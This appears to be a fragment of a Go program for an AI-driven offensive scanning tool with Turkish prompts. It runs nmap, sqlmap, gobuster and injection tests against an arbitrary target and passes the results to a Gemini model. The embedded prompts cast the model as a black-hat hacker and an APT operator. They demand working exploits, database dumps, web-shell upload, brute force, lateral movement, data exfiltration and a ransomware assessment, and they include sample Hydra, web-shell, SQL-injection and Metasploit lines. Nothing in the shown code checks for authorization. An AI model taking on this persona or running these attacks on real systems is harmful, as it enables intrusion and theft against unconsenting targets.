		allResults += "\n*Not: Hedef bir web uygulaması değil, web güvenlik testleri atlandı.*\n\n"
	}

	// 7. AI ile Kapsamlı Analiz (PHASE 1)
	fmt.Println("🤖 [7/7] AI ile İlk Analiz ve Risk Değerlendirmesi...")

	analysisPrompt := fmt.Sprintf(`SYSTEM PROMPT:
You are an elite BLACK HAT HACKER and penetration testing expert with 15+ years of experience.

CRITICAL RULES:
1. You NEVER just summarize findings - you ACT on them
2. You DECIDE what to do next based on evidence
3. You ANALYZE results and pivot your approach
4. You KEEP DIGGING until you find exploitable vulnerabilities

WORKFLOW:
1. Observe → 2. Decide → 3. Execute → 4. Analyze → 5. Loop back to 1

HEDEF: %s
TİP: %s

TEST SONUÇLARI:
%s

GÖREV: Bu sonuçları analiz et ve gerçek bir saldırgan gibi düşün.

ÖZEL ODAK NOKTALARI:

📁 DIRECTORY BRUTE FORCE ANALYSIS:
- Bulunan dizinlerin HER BİRİ incelendi (curl ile)
- HANGİ kritik dosyalar bulundu? (.env, .git, backup.sql, config files)
- HANGİ login formları tespit edildi? Default credential test edilmeli mi?
- HANGİ file upload noktaları var? Shell upload mümkün mü?
- API endpoint'ler bulundu mu? IDOR, broken auth test edilmeli mi?

💉 SQL INJECTION ANALYSIS:
- Eğer SQL injection bulunduysa → Database'leri listelemeli, dump etmeli
- Error mesajlardan database tipi çıkarıldı mı?
- UNION injection mümkün mü? Kaç kolon?
- Hangi tablolar dump edilmeli? (users, admin, customer)

🔍 TECHNOLOGY STACK:
- Hangi CMS? (WordPress → WPScan, Joomla → JoomScan)
- Hangi versiyon? CVE var mı?
- Outdated library'ler? (jQuery, Bootstrap)

🎯 SÖMÜRME ANALİZİ:

1. **SÖMÜRME PLANI - ADIM ADIM**:
   Her zafiyet için NASIL exploit edileceğini detaylı YAZ:
   
   ÖRNEĞİN:
   "/admin dizini bulundu + Login formu var"
   → Adım 1: Default credentials test et (admin:admin, admin:password)
   → Adım 2: Başarısızsa Hydra brute force: hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form
   → Adım 3: Login başarılıysa, file upload ara
   → Adım 4: Shell.php upload et
   → Adım 5: Shell'e eriş: curl http://target/uploads/shell.php?cmd=whoami
   
   "/backup.sql dosyası açık"
   → Adım 1: İndir: curl -O http://target/backup.sql
   → Adım 2: Hash'leri çıkar: grep password backup.sql
   → Adım 3: John ile kır: john --format=raw-md5 hashes.txt
   → Adım 4: Credential'ları kullan
   
2. **ÇALIŞAN EXPLOIT KODLARI**:
   Teorik değil, GERÇEK çalışan kod ver:
   
   Python örneği:
   -------
   # SQL Injection Exploit
   import requests
   url = "http://target/login.php"
   payload = "' OR '1'='1' -- "
   r = requests.post(url, data={'user': payload, 'pass': 'x'})
   if "Welcome" in r.text:
       print("SQL Injection SUCCESS!")
   -------
   
   Bash örneği:
   -------
   # Directory Brute Force + Inspection
   gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt
   # Her bulunan dizin için:
   curl http://target/admin/
   curl http://target/backup/
   # Form varsa test et:
   curl -X POST http://target/admin/login.php -d "user=admin&pass=admin"
   -------

3. **METASPLOIT MODÜLLERI**:
   Hangi modül kullanılmalı, nasıl konfigüre edilmeli:
   -------
   use exploit/unix/webapp/wp_admin_shell_upload
   set RHOSTS target.com
   set TARGETURI /wordpress
   exploit
   -------

4. **RİSK SKORU HESAPLAMA** (0-100):
   - CRITICAL dosya açığı (.env, .git, backup.sql): +50
   - SQL Injection: +40
   - RCE (Remote Code Execution): +45
   - File Upload: +35
   - XSS: +20
   - Açık admin panel: +15
   - Açık portlar (SSH, MySQL, FTP): +10
   - Outdated CMS: +25
   - Default credentials: +30

5. **SONRAKI ADIMLAR - KARAR VERME**:
   
   EĞER Risk Skoru >= 50:
   → "Kritik zafiyetler mevcut! Hemen exploit edilebilir."
   → Öncelik: [En kritik zafiyet]
   → Exploit: [Kullanılacak araç/komut]
   
   EĞER Risk Skoru < 50 VE < 30:
   → "AGRESİF TESTLER GEREKLİ!"
   → Neden: Yüzey saldırısı yeterli bilgi vermedi
   → Yapılacaklar:
     * Daha büyük wordlist ile Gobuster
     * Her dizini manuel inceleme (curl)
     * WordPress varsa WPScan aggressive mode
     * Brute force attack (Hydra, Medusa)
     * Metasploit auto-exploit
   
   EĞER WordPress/CMS tespit edildi AMA zafiyet yok:
   → "WPScan/CMSscan aggressive mode gerekli"
   → "Plugin/theme zafiyetleri check edilmeli"
   
   KARAR: [EVET/HAYIR] - Neden?

RAPOR FORMATI:

## 🎯 SÖMÜRME RAPORU

### Risk Skoru: X/100

### Kritik Zafiyetler
- [Zafiyet adı]: Nasıl sömürülür, hangi araç, payload örneği

### Exploit Kodları
-------
Python/Bash/Metasploit gerçek çalışan kod
-------

### PoC (Proof of Concept)
-------
Adım adım komutlar
-------

### Agresif Mod Kararı
- Karar: [EVET/HAYIR]
- Sebep: [...]
- Önerilen testler: [Metasploit auto-exploit, Hydra brute force, vs]

TÜRKÇE YAZ, TEKNİK DETAYLI OL, GERÇEK SALDIRGAN GİBİ DÜŞÜN!
`, target, map[bool]string{true: "Web Uygulaması", false: "IP/Domain"}[isURL], allResults)

	reportTask := tasks.NewTask(
		analysisPrompt,
		"Exploit Odaklı Analiz",
		agents.NewAgent(agents.RolePentestOrchestrator, "Kapsamlı exploit analizi",
			"Sen bir elite black hat hacker ve exploit developer'sın. Amacın sisteme sızmak.", true))

	phase1Result, err := reportTask.Execute(ctx, geminiClient)
	if err != nil {
		fmt.Printf("❌ AI analiz hatası: %v\n", err)
		return
	}

	// 🔥 YENİ: İTERATİF AI - AI kendi başına testler çalıştırsın!
	fmt.Println("\n" + strings.Repeat("═", 80))
	fmt.Println("🤖 İTERATİF AI MOD: AI Sürekli Çalışacak, Açık Bulunca Soracak!")
	fmt.Println(strings.Repeat("═", 80))

	if utils.AskYesNo("\n🔥 İteratif AI modunu aktifleştir? (AI sürekli exploit arayacak, rapor YAZMAYACAK)") {
		// AI'ya tüm sonuçları ver, kendi başına kararlar alsın ve testler çalıştırsın
		_, finalReport := llm.IterativeAnalysis(ctx, geminiClient.GetModel(), allResults, target)

		// Raporu göster
		fmt.Println("\n" + strings.Repeat("═", 80))
		fmt.Println("📄 FİNAL RAPOR")
		fmt.Println(strings.Repeat("═", 80))
		fmt.Println(finalReport)

		// Raporu dosyaya kaydet
		reportFile := fmt.Sprintf("pentest_report_%s.txt", strings.ReplaceAll(target, "://", "_"))
		os.WriteFile(reportFile, []byte(finalReport), 0644)
		fmt.Printf("\n💾 Rapor kaydedildi: %s\n", reportFile)

		return // İteratif AI bittiyse normal akışa devam etme
	}

	// Risk skoru hesapla
	riskScore := utils.CalculateRiskScore(allResults)
	fmt.Printf("\n📊 Risk Skoru: %d/100\n", riskScore)

	// Agresif mod kararı (AI + otomatik)
	needsAggressive, reason := utils.DecideAggressiveMode(allResults, riskScore)

	// AI'nın kararını da al
	aiSaysAggressive := strings.Contains(strings.ToLower(phase1Result.Output), "agresif mod") &&
		(strings.Contains(strings.ToLower(phase1Result.Output), "evet") ||
			strings.Contains(strings.ToLower(phase1Result.Output), "gerekli"))

	finalAggressiveDecision := needsAggressive || aiSaysAggressive

	var phase2Results string

	// PHASE 2: AGRESİF TESTLER (gerekirse)
	if finalAggressiveDecision {
		fmt.Println("\n" + strings.Repeat("═", 80))
		fmt.Println("🔥 PHASE 2: AGRESİF TESTLER BAŞLATILIYOR")
		fmt.Println("Sebep:", reason)
		if aiSaysAggressive {
			fmt.Println("AI Önerisi: Daha derin testler gerekli")
		}
		fmt.Println(strings.Repeat("═", 80) + "\n")

		// Kullanıcıya sor (güvenlik için)
		if !utils.AskYesNo("⚠️  AGRESİF TESTLER hedefe ZARAR verebilir! Devam et?") {
			fmt.Println("ℹ️  Agresif testler iptal edildi.")
		} else {
			// Agresif testleri çalıştır
			aggressiveResults := utils.RunAggressiveTests(target, allResults)
			phase2Results = utils.FormatAggressiveResults(aggressiveResults)

			// Agresif sonuçları raporaekle
			allResults += "\n\n" + phase2Results

			// AI ile agresif sonuçları da analiz et
			fmt.Println("\n🤖 Agresif test sonuçları analiz ediliyor...")

			phase2AnalysisPrompt := fmt.Sprintf(`AGRESİF TEST SONUÇLARI:

%s

Bu agresif testlerin sonuçlarını analiz et:

1. **HANGİ AÇIKLAR SÖMÜRÜLDÜ?**
   - Shell alındı mı?
   - Veritabanı erişimi var mı?
   - Brute force başarılı mı?

2. **POST-EXPLOITATION**
   - Sistemde ne yapılabilir?
   - Privilege escalation yolları
   - Lateral movement
   - Data exfiltration

3. **GERÇEK DÜNYA SALDIRI SENARYOSU**
   - Saldırgan bu sistemi nasıl kullanır?
   - Hangi veriler çalınabilir?
   - Ransomware potansiyeli

4. **ÖRNEK SALDIRI KOMUTLARI**
   `+"```bash"+`
   # Gerçek komutlar
   `+"```"+`

Türkçe, çok detaylı ve teknik ol!`, phase2Results)

			phase2Task := tasks.NewTask(
				phase2AnalysisPrompt,
				"Agresif Test Analizi",
				agents.NewAgent(agents.RolePentestOrchestrator, "Post-exploitation analizi",
					"Sen bir APT (Advanced Persistent Threat) operatörüsün.", true))

			phase2AIResult, err := phase2Task.Execute(ctx, geminiClient)
			if err == nil {
				phase2Results += "\n\n## 🤖 AI Post-Exploitation Analizi\n\n" + phase2AIResult.Output
			}
		}
	} else {
		fmt.Println("\n✓ Yeterli bulgular mevcut. Agresif testler gerekli değil.")
		fmt.Printf("  Risk Skoru: %d/100\n", riskScore)
	}

	// FINAL RAPOR
	fmt.Println("\n" + strings.Repeat("═", 80))
	fmt.Println("📊 FİNAL RAPORU")
	fmt.Println(strings.Repeat("═", 80) + "\n")

	// Phase 1 sonuçları göster
	utils.PrintResult(phase1Result.Output)

	// Phase 2 varsa göster
	if phase2Results != "" {
		fmt.Println("\n" + strings.Repeat("─", 80))
		fmt.Println("🔥 AGRESİF TEST SONUÇLARI")
		fmt.Println(strings.Repeat("─", 80) + "\n")
		utils.PrintResult(phase2Results)
	}

	fmt.Println(strings.Repeat("═", 80) + "\n")

	fmt.Println(strings.Repeat("═", 80) + "\n")

	// Rapor kaydetme
	if utils.AskYesNo("Raporu kaydetmek ister misiniz?") {
		fullReport := "# PENETRATION TEST RAPORU\n\n"
		fullReport += fmt.Sprintf("**Hedef:** %s\n", target)
		fullReport += fmt.Sprintf("**Tarih:** %s\n", time.Now().Format("02 January 2006 15:04"))
		fullReport += fmt.Sprintf("**Risk Skoru:** %d/100\n\n", riskScore)
		fullReport += "---\n\n"

		// Ham test sonuçları
		fullReport += "# TEST SONUÇLARI\n\n" + allResults + "\n\n"
		fullReport += "---\n\n"

		// AI Phase 1 Analizi
		fullReport += "# PHASE 1: EXPLOIT ANALİZİ\n\n" + phase1Result.Output + "\n\n"

		// AI Phase 2 varsa
		if phase2Results != "" {
			fullReport += "---\n\n"
			fullReport += "# PHASE 2: AGRESİF TEST SONUÇLARI\n\n" + phase2Results + "\n\n"
		}

		timestamp := time.Now().Format("2006-01-02_15-04-05")
		targetName := strings.ReplaceAll(target, "://", "_")
		targetName = strings.ReplaceAll(targetName, "/", "_")
		targetName = strings.ReplaceAll(targetName, ":", "_")

		filename := fmt.Sprintf("full_pentest_%s_%s.md", targetName, timestamp)

		os.MkdirAll("reports", 0755)
		filepath := "reports/" + filename

		err = os.WriteFile(filepath, []byte(fullReport), 0644)
		if err != nil {
			fmt.Printf("❌ Dosya kaydedilemedi: %v\n", err)
		} else {
			fmt.Printf("✓ Rapor kaydedildi: %s\n", filepath)
			fmt.Printf("📊 Dosya boyutu: %d KB\n", len(fullReport)/1024)
		}
	}

	fmt.Println()
}

// runFullPentestWithTarget komut satırından verilen hedefle pentest çalıştırır
func runFullPentestWithTarget(ctx context.Context, geminiClient *llm.GeminiClient, target string) {
	// Hedef tipi belirle (IP mi URL mi?)
	isURL := strings.HasPrefix(target, "http://") || strings.HasPrefix(target, "https://")

	fmt.Printf("\n✓ Hedef: %s\n", target)
	fmt.Printf("✓ Hedef Tipi: %s\n\n", map[bool]string{true: "Web Uygulaması", false: "IP/Domain"}[isURL])

	// Test sonuçlarını biriktir
	allResults := "# PENETRATION TEST RAPORU\n\n"
	allResults += fmt.Sprintf("**Hedef:** %s\n", target)
	allResults += fmt.Sprintf("**Tarih:** %s\n\n", time.Now().Format("2006-01-02 15:04:05"))

	// 1. Nmap Port Taraması (Her durumda)
	fmt.Println("📡 [1/7] Nmap Port Taraması...")
	nmapResults := ""

	if utils.CheckNmapInstalled() {
		targetHost := target
		if isURL {
			// URL'den host çıkar
			parts := strings.Split(target, "://")
			if len(parts) > 1 {
				targetHost = strings.Split(parts[1], "/")[0]
				targetHost = strings.Split(targetHost, ":")[0]
			}
		}

		output, err := utils.RunNmapScan(targetHost)
		if err == nil {
			nmapResults = "## 1. Nmap Tarama Sonuçları\n\n```\n" + output + "\n```\n\n"
			allResults += nmapResults
			fmt.Println("  ✓ Nmap taraması tamamlandı")
		} else {
			fmt.Printf("  ⚠️  Nmap hatası: %v\n", err)
		}
	} else {
		fmt.Println("  ℹ️  Nmap yok, atlanıyor...")
	}

	// Eğer URL ise web testleri yap
	if isURL {
		// 2. Web Teknoloji Tespiti
		fmt.Println("🔍 [2/7] Web Teknoloji Tespiti...")
		techResult, err := utils.DetectWebTech(target)
		if err == nil {
			techOutput := utils.FormatWebTechResults(techResult)
			allResults += "## 2. " + techOutput
			fmt.Println("  ✓ Teknoloji tespiti tamamlandı")
		} else {
			fmt.Printf("  ⚠️  Teknoloji tespiti hatası: %v\n", err)
		}

		// 3. Nikto Web Server Taraması
		fmt.Println("🌐 [3/7] Nikto Web Server Taraması...")
		if utils.CheckNiktoInstalled() {
			niktoOutput, err := utils.RunNikto(target, "80")
			if err == nil {
				niktoResult := utils.ParseNiktoOutput(niktoOutput)
				niktoFormatted := utils.FormatNiktoResults(niktoResult)
				allResults += "## 3. " + niktoFormatted
				fmt.Printf("  ✓ Nikto taraması tamamlandı (%d bulgu)\n", niktoResult.TotalFindings)
			} else {
				fmt.Printf("  ⚠️  Nikto hatası: %v\n", err)
			}
		} else {
			fmt.Println("  ℹ️  Nikto yok, atlanıyor...")
		}

		// 4. Directory Brute Force + Deep Inspection
		fmt.Println("📁 [4/7] Directory Brute Force + Derin İnceleme...")
		if utils.CheckGobusterInstalled() || utils.CheckDirbInstalled() {
			var dirOutput string
			var err error

			if utils.CheckGobusterInstalled() {
				dirOutput, err = utils.RunGobuster(target, "")
			} else {
				dirOutput, err = utils.RunDirb(target, "")
			}

			if err == nil {
				dirResult := utils.ParseDirBruteOutput(dirOutput)

				// 🔥 YENİ: Bulunan dizinleri detaylı incele
				if dirResult.TotalFound > 0 {
					utils.InspectAllPaths(target, &dirResult)
				}

				dirFormatted := utils.FormatDirBruteResults(dirResult)
				allResults += "## 4. " + dirFormatted
				fmt.Printf("  ✓ Directory scan tamamlandı (%d bulgu, %d incelendi)\n",
					dirResult.TotalFound, len(dirResult.InspectedPaths))
			} else {
				fmt.Printf("  ⚠️  Directory brute force hatası: %v\n", err)
			}
		} else {
			fmt.Println("  ℹ️  Gobuster/Dirb yok, atlanıyor...")
		}

		// 5. SQL Injection Testi
		fmt.Println("💉 [5/7] SQL Injection Testi...")

		points, _ := utils.FindInjectionPoints(target)
		testResults := ""

		if len(points) > 0 {
			if utils.CheckSQLMapInstalled() {
				output, err := utils.RunSQLMap(target, nil)
				if err == nil {
					result := utils.ParseSQLMapOutput(output)
					if result.Vulnerable {
						testResults = fmt.Sprintf("🔴 SQL Injection ZAFİYETİ!\nDB: %s, Type: %s",
							result.Database, result.InjectionType)
					} else {
						testResults = "✓ SQL Injection zafiyeti yok"
					}
				}
			} else {
				// Manuel test
				payloads := utils.GenerateSQLPayloads()
				for i, p := range payloads[:3] {
					vuln, dbType, _ := utils.TestSQLInjectionManual(target, "id", p)
					if vuln {
						testResults = fmt.Sprintf("🔴 SQL Injection ZAFİYETİ! DB: %s", dbType)
						break
					}
					if i == 2 {
						testResults = "✓ SQL Injection zafiyeti yok (3 payload test edildi)"
					}
				}
			}

			allResults += "## 5. SQL Injection Test Sonuçları\n\n" + testResults + "\n\n"
			fmt.Println("  ✓ SQL Injection testi tamamlandı")
		} else {
			fmt.Println("  ℹ️  Test noktası bulunamadı, atlanıyor...")
		}

		// 6. XSS Testi
		fmt.Println("🔓 [6/11] XSS (Cross-Site Scripting) Testi...")
		xssResult := utils.TestXSSComprehensive(target)
		xssFormatted := utils.FormatXSSResults(xssResult)
		allResults += "## 6. " + xssFormatted
		if xssResult.Vulnerable {
			fmt.Println("  🔴 XSS zafiyeti tespit edildi!")
		} else {
			fmt.Println("  ✓ XSS testi tamamlandı")
		}

		// 7. SSRF (Server-Side Request Forgery) Testi
		fmt.Println("🌐 [7/11] SSRF (Server-Side Request Forgery) Testi...")
		ssrfResult := utils.TestSSRF(target)
		ssrfFormatted := utils.FormatSSRFResults(ssrfResult)
		allResults += "## 7. " + ssrfFormatted
		if ssrfResult.Vulnerable {
			fmt.Println("  🔴 SSRF zafiyeti tespit edildi!")
		} else {
			fmt.Println("  ✓ SSRF testi tamamlandı")
		}

		// 8. XXE (XML External Entity) Testi
		fmt.Println("📄 [8/11] XXE (XML External Entity) Testi...")
		xxeResult := utils.TestXXE(target)
		xxeFormatted := utils.FormatXXEResults(xxeResult)
		allResults += "## 8. " + xxeFormatted
		if xxeResult.Vulnerable {
			fmt.Println("  🔴 XXE zafiyeti tespit edildi!")
		} else {
			fmt.Println("  ✓ XXE testi tamamlandı")
		}

		// 9. Command Injection Testi
		fmt.Println("⚡ [9/11] Command Injection Testi...")
		cmdResult := utils.TestCommandInjection(target)
		cmdFormatted := utils.FormatCommandInjectionResults(cmdResult)
		allResults += "## 9. " + cmdFormatted
		if cmdResult.Vulnerable {
			fmt.Println("  🔴 Command Injection zafiyeti tespit edildi!")
		} else {
			fmt.Println("  ✓ Command Injection testi tamamlandı")
		}

		// 10. IDOR (Insecure Direct Object Reference) Testi
		fmt.Println("🔑 [10/11] IDOR (Insecure Direct Object Reference) Testi...")
		idorResult := utils.TestIDOR(target)
		idorFormatted := utils.FormatIDORResults(idorResult)
		allResults += "## 10. " + idorFormatted
		if idorResult.Vulnerable {
			fmt.Println("  🔴 IDOR zafiyeti tespit edildi!")
		} else {
			fmt.Println("  ✓ IDOR testi tamamlandı")
		}

	} else {
		fmt.Println("ℹ️  Web testleri atlanıyor (hedef bir IP/domain)")
		allResults += "\n*Not: Hedef bir web uygulaması değil, web güvenlik testleri atlandı.*\n\n"
	}

	// 11. İteratif AI - Sürekli Çalışma Modu
	fmt.Println("🤖 [11/11] İTERATİF AI - SÜREKLI ÇALIŞMA MODU")
	fmt.Println("  📊 AI tüm testleri analiz edecek ve daha fazla açık arayacak...")
	fmt.Println("  🔥 AI sürekli çalışacak, CRITICAL açık bulunca size soracak!\n")

	// İteratif AI'ı başlat
	_, finalReport := llm.IterativeAnalysis(ctx, geminiClient.GetModel(), allResults, target)

	// Raporu göster
	fmt.Println("\n" + strings.Repeat("═", 80))
	fmt.Println("📄 FİNAL RAPOR")
	fmt.Println(strings.Repeat("═", 80))
	fmt.Println(finalReport)

	// Raporu dosyaya kaydet
	reportFile := fmt.Sprintf("pentest_report_%s.txt", strings.ReplaceAll(target, "://", "_"))
	os.WriteFile(reportFile, []byte(finalReport), 0644)
	fmt.Printf("\n💾 Rapor kaydedildi: %s\n", reportFile)
}